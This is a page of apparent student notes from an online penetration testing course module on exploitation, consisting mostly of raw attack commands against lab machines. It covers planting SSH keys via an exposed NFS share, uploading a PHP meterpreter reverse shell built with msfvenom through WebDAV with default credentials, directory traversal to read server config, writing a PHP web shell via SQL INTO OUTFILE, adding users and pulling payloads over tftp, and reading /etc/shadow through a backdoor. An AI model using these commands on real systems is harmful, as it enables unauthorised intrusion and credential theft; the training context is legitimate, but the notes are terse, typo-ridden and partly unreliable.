< All Advanced Penetration Testing Notes

Oishi | Advanced Penetration Testing | Module 7 - Exploitation

By: Oishi | Related Course: Advanced Penetration Testing | Published: August 4, 2017 | Modified: October 19, 2017
Join Cybrary

NotepadAttaching to a key

 
Attaching to
 Kali
additional research on mounting ip address
> showmount -e ”ipaddress”
> mkdir /tmp/name
>mount -t nfs ”ipaddress:/export/name /tmp/name”
> mount -t nfs -o nolock ”ipaddress:/export/name /tmp/name
>cd /tmp/name
cd /tmp/name>ls -a     This is the hidden directories
cd /tmp/name> cd .ssh/
cd /tmp/name> ls
cd /tmp/name/ .ssh> cat authorized_keys
cd /tmp/name/ .ssh>cd /root
>apt-get install openssh-server
> ssh-add
>mkdir .ssh
>cp /tmp/name/id_rsa.pub /root/.ssh/
> cd /root/.ssh
/.ssh>ssh-add
/.ssh> ssh name@”ip address”

 


NotepadExploitation direct exploitation

Kali

> cadaver http://192.168.1.76/webdav

user:wampp

pw: zampp

dav: /webdav/> put test.txt

web> http://192.168.1.76

kali> cd /user/share/webshells/

>ls

>cd php

>simple-backdoor.php

> cadaver http://192.168.1.76/webdav

> service metaspoit\

>service postgresql start

> service metasploit start

>msfconsole

> cd /root

> msfvenom – -help-formats

> msfvenom -l payloads

metaspoilt> search xampp

> msfvenom 

the different payloads available

>msfvenom -p php/meterpreter/reverse_tcp -o   

payload is php/meterpreter/reverse_tcp

>msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.77 LPORT=1234 >meterrpreter.php

metasploit> use muilti/handler

>show options

>set payload php/meterpreter/reverse_tcp  payload => php/meterpreter/reverse_tcp

>set LHOST 192.168.1.77

>set LHOST 1234

>show advanced 

> set ExitOnSession false

>show advanced

>exploit

>help exploit

>exploit -j 

-j is job

> jobs

>cat meterpreter

> cadaver http://192.168.1.76/webdav

user:wampp

pw: zampp

dav:/webdav/> put meterpreter.php

Web>192.168.1.76//webdav/meterpreter.php

metasploit> sessions -l 

list active sessions

>sessions -i

>help

>sysinfo

>getuid

 

 

 

 

 

 

 


NotepadExploitation pt 3 Directory Transversal

Exploitation pt 3

Directory Transversal

192.168.1.76:3232/index.html?../../../../../

This goes back 5 file systems- 5 is the # ”../”

192.168.1.76:3232/index.html?../../../../../xampp/FileZillaServer.xml

 

Kali 

cd Desktop

cat filezilla.xml

 


NotepadExploitation Sql

Exploitation Sql

>>ip address/localhost

SQL

select ”<?php> system($_GET[’cmd’]); ?>” into outfile C:\\xampp\\htdocs\\shell.php”

 

go

>> New page: 

192.168.1.76/shell.php?cmd=net user james georgia /add

————————–

>>Kali cmd

daemon does port listening

>atftpd –daemon –bind-address 192.168.1.77 /tmp

 

>netstat -antp

>ps aux | atftpd

 

192.168.1.76/shell.php?cmd=tftp 192.168.1.77 get meterpreter.php C:\\xampp\\htdocs\\meterpreter.php

 

>>kali

>meterpreter

> sysinfo

> getuid

>background

> get uid

Handler> search mssql_payload

 


NotepadFtp > back door access to the server

Ftp > back door access to the server
Kali
Nessess
cmd prompt
>ftp ”ipaddress”
new screen> nc ”ipaddress” 6200
whoami
root
cat /etc/shadow
>nano linuxpassword.txt
metasploit> background
>show payloads


NotepadOPen source vulnerablity

Metaspoit>
>search tikiwiki

> info ”address”
> search osvdb.org for the vulnerablilty

 


< All Advanced Penetration Testing Notes
Join Cybrary

Our Revolution

We believe Cyber Security training should accessible for everyone, everywhere. Everyone deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is the world's largest community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

We recommend always using caution when following any link

Are you sure you want to continue?

Continue
Cancel